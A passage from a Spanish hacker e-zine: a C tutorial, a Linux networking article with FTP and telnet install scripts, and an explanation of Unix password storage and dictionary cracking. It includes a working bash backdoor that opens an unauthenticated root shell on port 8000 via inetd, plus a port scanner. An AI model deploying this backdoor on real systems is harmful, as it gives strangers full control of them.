if(numero_tuyo>numero_pensado) printf("Mas bajo!!\n");
/* si el numero es mayor que el correcto, entonces tienes que probar un numero mas bajo */
}while(numero_pensado!=numero_tuyo);/* mientras no acertes */
printf("Felicidades, veo que has acertado!!\n");/* si lograste salir del bucle es porque acertaste */
}

Bueno obviamente este programa no tiene mucha gracia, porque el tipo que lo
programo sabe el numero correcto y el que lo juega, con ganra una vez, gana
siempre, seria mucho mejor si usaras una funcion random, para que generara un
numero aleatorio,

numero_pensado=random(limite);

pero yo creo que el ejemplo cumple su objetivo de mostrar el uso de un bucle
do{}while(); de if(); y de algunas funciones de lectura de datos y de
escritura.

Ejemplo 2.

/* Programa escrito por z0rbas para el tutorial de C
Este programa imprime numeros del 1 a lo especificado
No creo que haga falta pero, cualquier duda escribela
a z0rbas@usa.net */


void main()
{
int numero;
int contador;
printf("Hasta que numero deseas contar?");
scanf("%d",numero);
for(contador=0;contador<=numero;contador++)
{
printf("%d ",contador);
}
}

Este ejemplos esta muy claro, lo que hace es escribir numeros desde 0 hasta lo
especificado, separados por un espacio. Sirve yo creo para entender el
funcionamiento de FOR(){}

Ejemplo 3.
Este es un ejemplo cortito:

/* programa escrito por z0rbas para el tutorial de C
z0rbas@usa.net
*/

void main()
{
char opcion;
printf("\nPresiona una tecla...");
opcion=getch(); /*funcion q lee un caracter del teclado */
printf("Presionaste la tecla: %c \n",opcion);
}

muy simple no creo haga falta comentario.
podria poner lo siguiente...

Ejemplo 4.
void main()
{
char opcion;
printf("S/N\n");
opcion=getch();
if(opcion=='S' || opcion=='s')
{
printf("Elegiste S\n");
exit(0);
}
printf("No elegiste S\n");
}


Autor : z0rbas
Titulo : Curso de Programacion en C, Reforzamiento
Entrega : II
E-mail : z0rbas@usa.net





,øñ°`´°ñø¸
-<[ 10 ]>-
`°ñø,¸,øñ°

Autor : EleKtr0
Titulo : Comandos Basicos en Red con Linux
E-mail : EleKtr0@usa.net
Comentario: El articulo escrito esta orientado a quienes recien se estan
iniciando en el mundo del pinguino, es de un nivel bastante basico.

Indice de Contenidos
^^^^^^^^^^^^^^^^^^^^

1 Introduccion
2 Comandos Basicos
2.1 ping
2.2 netstat
2.3 arp
2.4 traceroute
2.5 nslookup
2.6 rpcinfo
2.7 r-tools
2.8 ssh
3 FTP
3.1 FTP-SERVER
4 TELNET
4.1 TELNET-SERVER
5.0 Extras
5.1 Back-door
5.2 Port-scan
6.0 End of File


Introduccion
^^^^^^^^^^^^

Todos sabemos de las inumerables ventajas que tiene Linux sobre otros sistemas
operativos a la hora de trabajar en red, sea esta una red interna como es mi
caso o una red externa como debe ser el caso de ustedes con Internet. Antes de
introducirno de lleno en lo que pretende ser este articulo describire algunas
utilidades basicas generales que nos ayudaran a trabajar en redes de manera
rapida y eficiente.

Comandos Basicos
^^^^^^^^^^^^^^^^

Unos de los comandos mas basicos es el conocido "ping" cuya sintaxis es la sgt:

# ping host tamaño numero-de-paquetes

Este comando nos deberia devolver la velocidad de conexion k disponemos con el
host k fue pasado como parametro. El funcionamiento consta en el envio por
parte del programa de los paquetes k especificamos que tendran un cierto
tamaño.

Esta aplicacion es util a la hora de saber si un servidor se encuentra
operativo en un momento dado o simplemente para comprovar la velocidad de
conexion k tenemos frente a 2 equipos distintos. Se recomienda no enviar
paquetes de tamaños demasiado elevados ya que esto podria causar algun tipo de
molestias para el host k recibe los paketes...

Para analizar el funcionamiento de nuestros ekipo en la red usaremos el
comando "netstat" son varias las posivilidades k nos ofrece este comando,
veamos algunas de las mas importantes;

# netstat -a host

Este comando nos da una lista de todas las conexiones del host en ese momento

[root@localhost /root]# netstat -a 192.168.1.100
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 192.168.1.100:1039 129.142.226.11:www ESTABLISHED
tcp 0 0 192.168.1.100:1038 200.29.57.145:www ESTABLISHED
tcp 0 0 192.168.1.100:1044 129.142.226.11:www TIME_WAIT
tcp 0 0 192.168.1.100:1043 129.142.226.11:www ESTABLISHED
tcp 0 1 192.168.1.100:1029 200.29.57.145:www LAST_ACK
tcp 0 0 192.168.1.100:1027 licanray.unete.cl:ircd ESTABLISHED
tcp 0 0 192.168.1.100:1024 irc.terra.cl:7777 ESTABLISHED
tcp 0 0 *:6000 *:* LISTEN
tcp 0 0 *:mysql *:* LISTEN
tcp 0 0 *:www *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
tcp 0 0 *:sunrpc *:* LISTEN
udp 0 0 *:ntalk *:*
udp 0 0 *:talk *:*
udp 0 0 *:sunrpc *:*
raw 0 0 *:icmp *:* 7
raw 0 0 *:tcp *:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 1 [ ] STREAM CONNECTED 22866 @0000002e
unix 1 [ ] STREAM CONNECTED 594 @0000000c
unix 1 [ ] STREAM CONNECTED 22872 @0000002f

# netstat -i nombre_interfaz host

Este comando nos da informacion de cada interfaz de comunicaion, indicando el
numero de paquetes enviados, los paquetes perdidos y otras estadidsticas
adicionales

[root@localhost /]# netstat -i 192.168.1.100
Kernel Interface table
Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg
eth0 1500 0 1921 0 0 0 632 0 0 0 BRU
lo 3924 0 15 0 0 0 15 0 0 0 LRU


Al no especificar una interfaz por default me muestra la table de todas mis
interfacez en este caso la local (lo) y la de red local (eth0)

# netstat -r host

Este comando nos devuelve informacion de la tabla de enrutamiento (route) de
nuestra makina indicando los distintos dispositivos, como la mascara de red,
interface, el Gateway etc...

[root@localhost /]# netstat -r 192.168.1.100
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
192.168.1.100 * 255.255.255.255 UH 0 0 0 eth0
192.168.1.0 * 255.255.255.0 U 0 0 0 eth0
127.0.0.0 * 255.0.0.0 U 0 0 0 lo
default polux.entelchile0.0.0.0 UG 0 0 0 eth0


# netstat -s host

Con este comando veremos algunas estadisticas bastante importantes de los
distintos protocolos que nuestra maquian esta usando, los mas normales serian
TCP, ICMP, UDP

[root@localhost /]# netstat -s 192.168.1.100
Ip:
1680 total packets received
0 forwarded
0 incoming packets discarded
1170 incoming packets delivered
675 requests sent out
Icmp:
12 ICMP messages received
5 input ICMP message failed.
ICMP input histogram:
destination unreachable: 12
3 ICMP messages sent
0 ICMP messages failed
ICMP output histogram:
destination unreachable: 3
Tcp:
45 active connections openings
0 passive connection openings
0 failed connection attempts
0 connection resets received
4 connections established
498 segments received
607 segments send out
58 segments retransmited
0 bad segments received.
5 resets sent
Udp:
26 packets received
3 packets to unknown port received.
0 packet receive errors
65 packets sent
TcpExt:

Tenemos otro comando que tmb seria interesante echarle un vistaso, "arp" cuya
mision es gestionar las tablas de conversiones de direcciones ARP. Este
comando es bastante potente ya k permite agregar borrar y editar estas
direcciones, si kisieramos saber info de alguna direccion hariamos lo sgt:

# arp -a

[root@localhost /]# arp -a
polux.entelchile.net (192.168.1.1) at 00:00:E2:2A:36:E1 [ether] on eth0

# arp -help /* para mas detalles */

Otro comando bastante usado en redes es "traceroute" k indica el camino que
recorre cada paquete que sale desde nuestro ordenador hasta el equipo receptor

# traceroute host

[root@localhost /]# traceroute 192.168.1.100
traceroute to 192.168.1.100 (192.168.1.100), 30 hops max, 38 byte packets
1 192.168.1.100 (192.168.1.100) 0.285 ms 0.113 ms 0.037 ms

El comando nslookup se usa para saber el nombre del host y su direccion ip,
veamoslo en accion:

# nslookup host

[root@localhost script]# nslookup 192.168.1.100
Server: polux.entelchile.net
Address: 192.168.1.1

Name: localhost
Address: 127.0.0.1

Ahora bien tambien esta el comando "rpcinfo" para aquellos k esten usando RPC
(protocolos NFS,NIS) el comando "rpcinfo" es de bastante utilidad ya k nos
devuelve los servicios RPC que actualmente estan corriendo en alguna maquina.

# rpcinfo -p host

[root@localhost /]# rpcinfo -p 192.168.1.100
programa vers proto puerto
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper



Las herramientas "r" son: rlogin, rsh, rcp y rcmd, estas herramientas nos
permiten entrar a ordenadores remotamente y/o ejecutar programas en aquel
ordenador... De esta forma se permite k usuarios accedan a los recursos del
server sin la necesidad de tener una cuanta creada para identificarse como
usuarios normales, esta automatizacion por decirle de algun modo se realiza de
dos formas distintas:

1) Editando el archivo /etc/host.equiv

Esta archivo debe contener una lista de los usuarios y hosts k podran usar los
comandos R para entrar en nuestra makina, el archivo editado debe tener un
formato de estas caracteristicas:

host.dominio.cl user

2) Editando el archivo de cada user k esta en su /home/ llamado .rhosts

Es similar al anterior solo k el user k se kiera conectar lo hara a la cuenta
del user local k tenga dicho archivo en su /home/, su formato es:

host.dominio.cl user


Sintaxis de los comandos R:

# rlogin -l login host
# rsh -l login comando


SSH
^^^
Bueno para quines aun no instalan ssh lo pueden bajar desde:
http://www.ssh.com/download

Y para quienes no sepan de que estoy hablando les contare k el Secure Shell
(ssh) es muy similar a lo que conocemos como Telnet, osea nos permite
conectarnos remotoamente a otros servidores, ejecutar programas y todo el
cuento... Lo k hace a secure shell especial es la estricta seguridad que este
programa imparte cada vez k entra en sesion con alguna makina, esto es debido
a que toda la comunicacion entre nuestra maquina y otra remota viaja cifrada.

Algunos algoritmos k soporta ssh son: DES, 3DES, IDEA, Blowfish entre otros...
Es bastante importante que manejen bien lo k es el ssh ya que esta siendo muy
usado ultimamente asique para quienes quieran enterase mas de que se trata
esto lo remito al articulo numero 07 (Secure Shell - SSH) que realizo
Mr. kl0nk Manson en su e-zine #1 http://www.0ri0n.org

Muy bien ya conociendo y teniendo instaldo ssh en nuestro pc nos conectaremos
de las sgt`s maneras:

# ssh -l login maquina
# ssh -l EleKtr0 electron-team.cl

# ssh electron-team.cl
login: EleKtr0
password:

# ssh login@maquina
# ssh EleKtr0@electron-team.cl

Una ves conectados todo sera igual a una sesion telnet salvo algunos comandos
extras k tienen que averiguar ustedes mismos...


Transferencia de Archivos
^^^^^^^^^^^^^^^^^^^^^^^^^
Sin duda k una de las mayores ventajas de trabajar en red es la posibilidad de
poder tranferir archivos remotamente sin necesidad alguna de tener que hacerlo
fisicamente con diskettes o cd`s

FTP
^^^
En redes TCP/IP este proceso se realisa mediante el protocolo FTP el que ya
todos debemos haber usado en mas de alguna ocacion, para los mas nuevos y
recien iniciados les dire que mediante este protocolo podemos enviar y recibir
archivos entre masquinas que esten en nuestra red o en Internet.

Asi mismo existen miles de FTP`s anonimos dispersos por toda Internet,en estos
servidores exclusivos a prestar este servicio los usuarios podran conectarse
con una cuenta anonymous y bajar utilidades gratuitas, versiones de
demostracion, warez :), mp3, etc...

Para poder enviar ficheros a otra makina o bajarlos de ella necesitaremos de
dos programas el primero k hara de servidor en dicha makina y el otro que
debemos tener instalado nosotros k sera el cliente necesario para poder
negociar la transferencia con el servidor.

El servidor FTP en linux normalmente es ftpd variando a wuftpd, es lanzado por
el principal daemon de servicios "inetd", para crear nuestro servidor FTP
primeramente deberemos añadirlo como un servicio en el archivo /etc/services
en el puerto 21,una vez echo esto deberiamos editar el archivo /etc/inetd.conf
y agregar la sgt linea:

ftp stream tcp nowait root /usr/etc/ftpd ftpd -1

esta linea le indica a inetd el programa k debe ejecutar cuando algun user se
conecte a nuestro puerto 21 con el cliente para FTP, como sabemos cuando nos
conectamos a un server deberemos primeramente autentificarnos con nuestro
login y passwd para gozar de los veneficios del FTP

Para fines didacticos y recreativos de este articulos he creado un script que
instala un servidor de FTP anonymous en nuestra makina linux, para lo cual
debemos tener algunas precauciones:

1) Debes correrlo como r00t
2) No debe existir el diretorio /home/ftp
3) Recuerda k el server ftp en linux es el ftpd o wuftpd
4) Recuerda k el login es anonymous y el passwd es tu e-mail


-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

#!/bin/sh
#ftp-server.sh
#FTP-SERVER coded by EleKtr0 // EST
#Script que instala un servidor ftp en una maquina linux
clear
echo
echo "========================[ E ]============================"
echo "[ FTP-SERVER by EleKtr0 [ S ] EleKtr0@usa.net ]"
echo "========================[ T ]============================"
echo
echo
#definicion del nombre y el puerto del servicio a instalar
servicio="ftp 21/tcp"

#definicion de las propiedades del servicio (ftp)
inetd="ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a"
echo -en "instalando servidor ftp..."
sleep 1
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui se agrega el servicio definido por nosotros para
#incluirlo en los servicios generales del sistema
echo -en "instalando el servicio..."
sleep 1
echo $servicio >> /etc/services
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui se envia la informacion del servicio ya instalado
#al daemon inetd del sistema
echo -en "enviando info a inetd.conf..."
sleep 1
echo $inetd >> /etc/inetd.conf
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui matamos el inetd para reiniciar su configuracion y
#reconosca el nuevo servicio k estara corriendo en el 21
echo -en "reiniciando inetd..."
sleep 1
killall -HUP inetd
echo -en "\t\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#crearemos el user encargado de gestionar nuestro servidor ftp
ftpuser="ftp:x:14:50:Anonymous FTP access:/home/ftp:/bin/false"
ftpshadow="ftp:*:11239:0:99999:7:::"
echo -en "creando usuario anonymous del servidor..."
echo $ftpuser >> /etc/passwd
echo $ftpshadow >> /etc/shadow
sleep 1
echo -en "\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#ahora crearemos los direcotrios pertinentes y sus permisos
echo -en "creando directorios del servidor..."
mkdir /home/ftp
chmod +555 /home/ftp
mkdir /home/ftp/bin
cp /bin/ls /home/ftp/bin/ls
chmod +555 /home/ftp/bin
chmod +111 /home/ftp/bin/ls
mkdir /home/ftp/etc
cp /etc/passwd /home/ftp/etc
cp /etc/group /home/ftp/etc
chmod +555 /home/ftp/etc
chmod +444 /home/ftp/etc/passwd
chmod +444 /home/ftp/etc/group
mkdir /home/ftp/lib
chmod +555 /home/ftp/lib
mkdir /home/ftp/dev
chmod +555 /home/ftp/dev
mkdir /home/ftp/pub
chmod +444 /home/ftp/pub
sleep 1
echo -en "\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"
sleep 1
echo
echo "========================[ E ]============================"
echo "[ FTP-SERVER by EleKtr0 [ S ] Instalado Correctamente! ]"
echo "========================[ T ]============================"
echo

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

Una vez corrido el script tendremos corriendo en nuestro sistema el servidor de
archivos FTP Ahora solo nos falta el cliente, este programa biene por defecto
en modo texto en todas las distribuciones de Linux, su uso es el sgt:

# ftp 127.0.0.1

Por defecto toma como parametro el puerto 21, a menos k le especifiquemos uno
distinto:

# ftp 127.0.0.1 33


TELNET
^^^^^^
Ya todos conocemos las caracteristicas de este exelente servicio, para quienes
aun no sepan de k se trata les contare que lo k hace tan especial a este
servicio entre todos los demas es la posibilidad de conectarnos remotamente a
otro maquina y trabajar en ella como si lo hacemos normalmente en nuestra
maquina, podremos crear archivos, crear directorios, ejecutrar programas (solo
en modo texto, nada de X) como les dije podemos hacer todo lo que normalmente
hacemos en nuestro computador pero con la unica salvedad k esto es a la
distancia osea remotamente...

Para conectarnos a alguna maquina k preste este servicio deberemos tener una
cuenta de usuario dentro del seridor, supongamos k nos queremos conectar a
nuestro propio server, entonces:

# telnet 127.0.0.1
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

Slackware Linux 7.1 - 2.4.2.

EST login: elektro
Password:
Last login: Mon Oct 9 16:58:33 from localhost
[elektro@localhost elektro]$

Muy bien y para aquellos k no tienen el servidor TELNET aki les va un script
para instalarlo.


-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

#!/bin/sh
#telnet-server.sh
#TELNET-SERVER coded by EleKtr0 // EST
#Script que instala un servidor telnet en una maquina linux
clear
echo
echo "===========================[ E ]============================"
echo "[ TELNET-SERVER by EleKtr0 [ S ] EleKtr0@usa.net ]"
echo "===========================[ T ]============================"
echo
echo
#definicion del nombre y el puerto del servicio a instalar
servicio="telnet 23/tcp"

#definicion de las propiedades del servicio (telnet)
inetd="telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd"
echo -en "instalando servidor telnet..."
sleep 1
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui se agrega el servicio definido por nosotros para
#incluirlo en los servicios generales del sistema
echo -en "instalando el servicio..."
sleep 1
echo $servicio >> /etc/services
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui se envia la informacion del servicio ya instalado
#al daemon inetd del sistema
echo -en "enviando info a inetd.conf..."
sleep 1
echo $inetd >> /etc/inetd.conf
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui matamos el inetd para reiniciar su configuracion y
#reconosca el nuevo servicio k estara corriendo en el 23
echo -en "reiniciando inetd..."
sleep 1
killall -HUP inetd
echo -en "\t\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"
sleep 1
echo
echo "===========================[ E ]============================"
echo "[ TELNET-SERVER by EleKtr0 [ S ] Instalado Correctamente! ]"
echo "===========================[ T ]============================"
echo

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

Con eso ya tendriamos nuestro servidor TELNET instalado y corriendo %100.

EXTRAS
^^^^^^

Back-door
^^^^^^^^^
Y aprovechando la situciacion y aunk no estaba en el libreto, les dare el
codigo fuente en bash de una simple back-door, quisas no biene al caso pero a
mas de alguno le puede servir.

- Corre es script como root
- Luego has telnet al puerto 8000

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

#!/bin/sh
#back.sh
#Back-Door coded by EleKtr0 // EST
#Script que instala una Backdoor en una maquina linux
clear
echo
echo "=======================[ E ]========================="
echo "[ Back-Door by EleKtr0 [ S ] EleKtr0@usa.net ]"
echo "=======================[ T ]========================="
echo

#definicion del nombre y el puerto del servicio a instalar
servicio="back 8000/tcp"

#definicion de las propiedades del servicio (back)
inetd="back stream tcp nowait root /bin/sh sh -i"
echo -en "instalando back-door..."
sleep 1
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui se agrega el servicio definido por nosotros para
#incluirlo en los servicios generales del sistema
echo -en "instalando el servicio..."
sleep 1
echo $servicio >> /etc/services
echo -en "\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui se envia la informacion del servicio ya instalado
#al daemon inetd del sistema
echo -en "enviando info a inetd.conf..."
sleep 1
echo $inetd >> /etc/inetd.conf
echo -en "\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"

#aqui matamos el inetd para reiniciar su configuracion y reconosca
#el nuevo servicio que estara corriendo en el puerto 8000
echo -en "reiniciando inetd..."
sleep 1
killall -HUP inetd
echo -en "\t\t\t ["
echo -en "\\033[1;32m OK"
echo -en "\\033[0;39m ]\n"
sleep 1
echo
echo "=======================[ E ]========================="
echo "[ Back-Door by EleKtr0 [ S ] EleKtr0@usa.net ]"
echo "=======================[ T ]========================="
echo

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

Port-scan
^^^^^^^^^
Ahy sientos de miles de escaneadores de puertos,yo personalmente recomiendo el
mejor de todos ellos, "NMAP" lo pueden encontrar en www.insecure.org,pero como
este es mi articulo incluire el fuente de uno echo por mi, su uso es bastante
sencillo...

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

/* Autor : EleKtr0
* E-mail : EleKtr0@usa.net
* Titulo : PortScan v1.0
* Scaneador de puertos con reconocimiento de servicio
* gcc -o scaner scaner.c
* ./scaner
* ./scaner 127.0.0.1 1 8000
*/


#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>

main(int argc, char *argv[])
{
struct sockaddr_in direccion;
int s;
int puerto, pinicial, pfinal;
struct servent *Descripcion;

system("clear");
printf("\n-[ PortScan coded by EleKtr0 ]-\n\n");

if (argc <2) {
printf("\n%s [ip] [puerto inicial] [puerto final]\n\n", argv[0]);
exit(-1);
}

pinicial=0;
pfinal=8000;
if (argc >=3) pinicial=atoi(argv[2]);
if (argc >=4) pfinal=atoi(argv[3]);

printf("\n-==========-[ \033[1;34mE \033[0;39m]-============-");
printf("\n-[ Puerto ]-[ \033[1;34mS \033[0;39m]-[ Servicio ]-");
printf("\n-==========-[ \033[1;34mT \033[0;39m]-============-\n");
for (puerto=pinicial;puerto<=pfinal;puerto++)
{
bzero( (char*)&direccion,sizeof(direccion));
direccion.sin_family=AF_INET;
direccion.sin_port=htons(puerto);
Descripcion=getservbyport(htons(puerto), "tcp");


if ((direccion.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
printf("\nLa IP k escribistes es invalida\n\n"); exit(1);
}
s=socket(AF_INET,SOCK_STREAM,0);

if (connect(s,(struct sockaddr*)&direccion,sizeof(direccion))==0)
{
printf(" \033[1;31m%i \033[0;39m]---[ \033[1;32m%s \033[0;39m\n", puerto, (Descripcion==NULL)? "Desconocido":Descripcion->s_name);
}
close(s);
}
}

-*-*-*-*-*-*-*-*-*-* Corta Aqui -*-*-*-*-*-*-*-*-*-*-*-*

End of File
^^^^^^^^^^^
Eso seria todo, espero que el articulo los oriente un poco mas en lo que es la
ejecucion de comandos para el trabajo en red con linux, si aun asi siguen
teniendo dudas estara disponible mi correo para resivirlas, hasta pronto! bye.

Autor : EleKtr0
Titulo : Comandos Basicos en Red con Linux
E-mail : EleKtr0@usa.net

,øñ°`´°ñø¸ 
-<[ 11 ]>-
`°ñø,¸,øñ°

Autor : z0rbas
Titulo : Passwords en UNIX
E-mail : z0rbas@usa.net
Contenido : Los passwords en UNIX se guardan por lo general en el fichero
/etc/passwd o si están shadowed en el fichero /etc/shadow (por lo general,
podría ser tambien por ejemplo /etc/master.passwd).

El fichero /etc/passwd es un archivo compuesto por líneas, donde cada
línea representa un registro, compuesto de siete campos separados entre sí
por ' : '.

Por ejemplo una línea podría ser así:

Little95:E6r68fgtl13mz:0:0:root:/root:/bin/bash

1º campo('little95'): es el nombre de usuario.

2º campo('E6r68fgtl13mz'): es el password encriptado, donde 'E6',representa la
semilla(como se le llama en criptologia, lo que es una clave en la que se basa
para encriptar el password) y el resto es el password encriptado (todo esto sé
vera un poco mas adelante).

Si en vez de aparecer eso aparece un ' * ' o una ' X ' en todos los campos de
password del fichero,quiere decir que los password están shadowed. Si al final
del password encriptado hay una ' , ' y dos cifras mas,estas corresponden a la
fecha de expiración del password.

3º campo(' 0 '): es el UID(User ID). UNIX no identifica a los usuarios por su
nombre(o nick) sino que por un numero que se almacena en este campo.
Este valor puede variar entre 0 y 60000, por lo general se usan números entre
100 y 60000 para usuarios normales y el ' 0 ' corresponde al super usuario
(root).

4º campo(' 0 '): es el GID(Group ID). Es la identificación del grupo al que
pertenece al usuario. Tambien varia entre 0 y 60000 y el ' 0 ' también
pertenece al grupo del root y tienen los mismos privilegios para aquellos
elementos que pertenezcan a su dominio.

5º campo(' root '):este es un campo reservado para un comentario o información
extra del usuario, como podría ser por ejemplo el nombre completo o algo así.

6º campo(' /root '): es el directorio home de ese usuario,o sea, su directorio
de trabajo.

7º campo(' /bin/bash '): es la shell (interprete de comandos) que utiliza el
usuario. Estas sirven también para restringir el uso de algunos comandos a
algunos usuarios en especial, por ejemplo un usuario anónimo, por lo general
tendrá una shell muy restringida que le permitirá ejecutar muy pocos comandos.


Las contraseñas en UNIX se encriptan usando una función del kernel (núcleo del
sistema), crypt(3). Esta función es un algoritmo basado en el estándar de
encriptación de datos (DES), desarrollado por el Instituto Nacional de
Estándares y Tecnología(NIST).

En crypt(3) (no crypt(1), que es la mas antigua y mucho mas insegura), el
texto llano se encripta en un grupo de ceros, posteriormente el texto cifrado
resultante es encriptado de nuevo con el password del usuario como clave,
repitiéndose este proceso 25 veces. Una vez finalizado se obtiene un resultado
de 64 bits, los cuales se dividen en 11 caracteres, los cuales se guardan en
el archivo /etc/passwd o /etc/shadow (el correspondiente).

El 'grano de sal' o 'semilla' como se le denomina en criptologia (los dos
primeros caracteres del segundo campo en el fichero), los cuales representan
un valor de 12 bits, que se utilizan para alterar el resultado de la función,
lo que hace que un password se pueda variar entre 0 y 4095, por lo que para
cada password hay 4069 formas distintas de encriptación (mas adelante veremos
un poco mejor la función crypt(3), junto con unos ejemplos).

Por ejemplo el programa /bin/passwd, que se usa pata cambiar la contraseña de
un determinado usuario, calcula la semilla de 12 bits,basándose en la hora del
sistema.

UNIX jamas desencripta un password, cuando el sistema nos pide login y
password, el programa encargado de hacer esto, encripta la palabra usando la
semilla presente en el fichero de password y luego lo compara con el password
encriptado del fichero.

La manera que se usa para descubrir los passwords (no desencriptar) es
encriptar palabras presentes en un diccionario por ejemplo y compararlas
con el password del fichero. Este método es muy lento y puede incluso
llegar a ser muy difícil averiguar la clave.

Los crackeadores de password que utilizan este sistema son fácilmente
diseñables, incluso se pueden conseguir uno en 35 líneas aprox. ¿Por qué no
desencriptarlos? Porque la función crypt(3) es una función muy fácil de
ejecutar de ida pero extremadamente difícil de ejecutar de vuelta, o sea,
revertirla, lo que todavía no se ha logrado.

El fichero /etc/shadow puede tener una forma un poco distinta (el fichero
/etc/passwd siempre existe y solo varia si esta el password encriptado ahí o
no). La forma seria mas o menos así:


Usuario : pass : ultima vez que cambio pass : días que deben pasar para poder
cambiar pass : días después de los que debe cambiar pass : días antes de la
expiración de la cuenta en que el usuario debe ser advertido : día de la
expiración de la cuenta : días que lleva deshabilitada la cuenta : bloque
reservado

Claro que en la realidad si cave en una línea, como por ejemplo:

z0rbas:E6r68fgtl13mz:9753:0:1000::::

La estructura en c de una línea del fichero shadow seria:

Struct spwd
{
char sp_namp; /* nombre de usuario */
char sp_pwdp; /* password encriptado */
sptime sp_lstchg; /* ultima fecha de cambio */
sptime sp_min; /* mínimo de días antes del cambio */
sptime sp_max; /* días a los que debe ser cambiado el password */
sptime sp_warn; /* días antes de la advertencia de la expiración */
sptime sp_intact; /* numero de días a los que expira */
sptime sp_expire; /* días que lleva expirada la cuenta */
unsigned long sp_flag /* reservado para usos futuros */
};


Análisis de crypt(3).

La semilla en la función puede variar entre a-z,A-Z y 0-9 y con la combinación
de estas dos opciones se crean 4096 posibilidades diferentes de encriptar un
password.

Lo que este algoritmo hace es tomar los siete bits mas bajos del password
tipiado por el usuario, con lo que se obtiene una clave de 56 bits. Esta
clave de 56 bits, es usada para encriptar repetidamente una cadena(string)
constante,la cual por lo general son solo NULLs (lo que en C corresponde a '\0')

El retorno de la función,apunta a una cadena de 13 caracteres ASCII imprimible
(incluida la semilla). El retorno apunta a una variable estática, la cual es
sobrescrita en cada llamada.

El espacio de la clave consiste en 5**56(7,2*10**16) posibles valores, lo que
hace demasiado difícil de encontrar la combinación.



Ejemplos

Un ejemplo de programa de login seria por ejemplo el que usa el pppd- 1.2.1d
(Point-to-Point Protocol Server).

----------------- inicio auth.c(traducido) -------------------

/* este programa chequea un usuario y password, basado en el fichero de
password(/etc/passwd) para la autentificación, también chequea si el
usuario es valido.
Retornos de la función:
UPAP_AUTHNAK : logeo fallido.
UPAP_AUTHACK : logeo exitoso.
En algunos casos la variable msg apunta a un mensaje en especial.
(Traducido por z0rbas) */


Static int login(usuario, passwd, msg, largomsg)
Char *usuario;
Char *passwd;
Char **msg;
Int *largomsg; // definición de los argumentos de la función.
{
struct passwd *pw; // define puntero a la estructura del registro
char *epasswd; // puntero a lo que será la pass encriptada
char *tty; // puntero a la terminal que se logeara

if((pw=getpwnam(usuario))==NULL) return(UPAP_AUTHNAK);

/* se asigna el valor a la estructura apuntada por pw, con el valor del
registro del usuario correspondiente, usando la función getpwnam() y se
compara al tiro con NULL, si es verdadero, quiere decir que el usuario no se
encontró y el login se rechaza. */



if(pw->pw_passwd == '\0') return(UPAP_AUTHACK);

/* se compara el campo de password con NULL, si es verdadero, no hay
password en el campo y el logeo es aceptado, no se necesita revisar el
password */



epasswd = crypt(passwd, pw->pw_passwd);

/* encripta el password con la semilla del password original. */


if(strcmp(epasswd, pw->pw_passwd)) return(UPAP_AUTHNAK);

/* si son distintos los dos string( epasswd, el password encriptado(instrucción
pasada) y el password original del fichero se rechaza el login, si a estas
alturas aun no se ha rechazado, el sistema reconoce el password como
correcto */



syslog(LOG_INFO, "user %s logged in", usuario);

/* logea la entrada del usuario en la constante definida por LOG_INFO */


tty = strrchr(devname,'/');
if(tty==NULL) tty=devname;
else tty++;
logwtmp(tty,usuario,"");
logged_in=TRUE;
return(UPAP_AUTHACK);

/* calcula la terminal de logeo y crea un log, luego retorna la función
diciendo que el logeo ha sido exitoso */

}

-------------------- fin auth.c ------------------------

Este programa no soporta password shadowed, pero es fácilmente
modificable para que lo haga, como ya viene escrito en el pppd-2.2.0.


-------------------inicio auth.c(actualizado)---------------------------

/* este programa chequea un usuario y password, basado en el fichero de
password(/etc/passwd) y soporta shadowed también para la autentificación,
también chequea si el usuario es valido.
Retornos de la función:
UPAP_AUTHNAK : logeo fallido.
UPAP_AUTHACK : logeo exitoso.
En algunos casos la variable msg apunta a un mensaje en especial.
(También traducido por z0rbas) */



#ifdef HAS_SHADOW
#include <shadow.h>
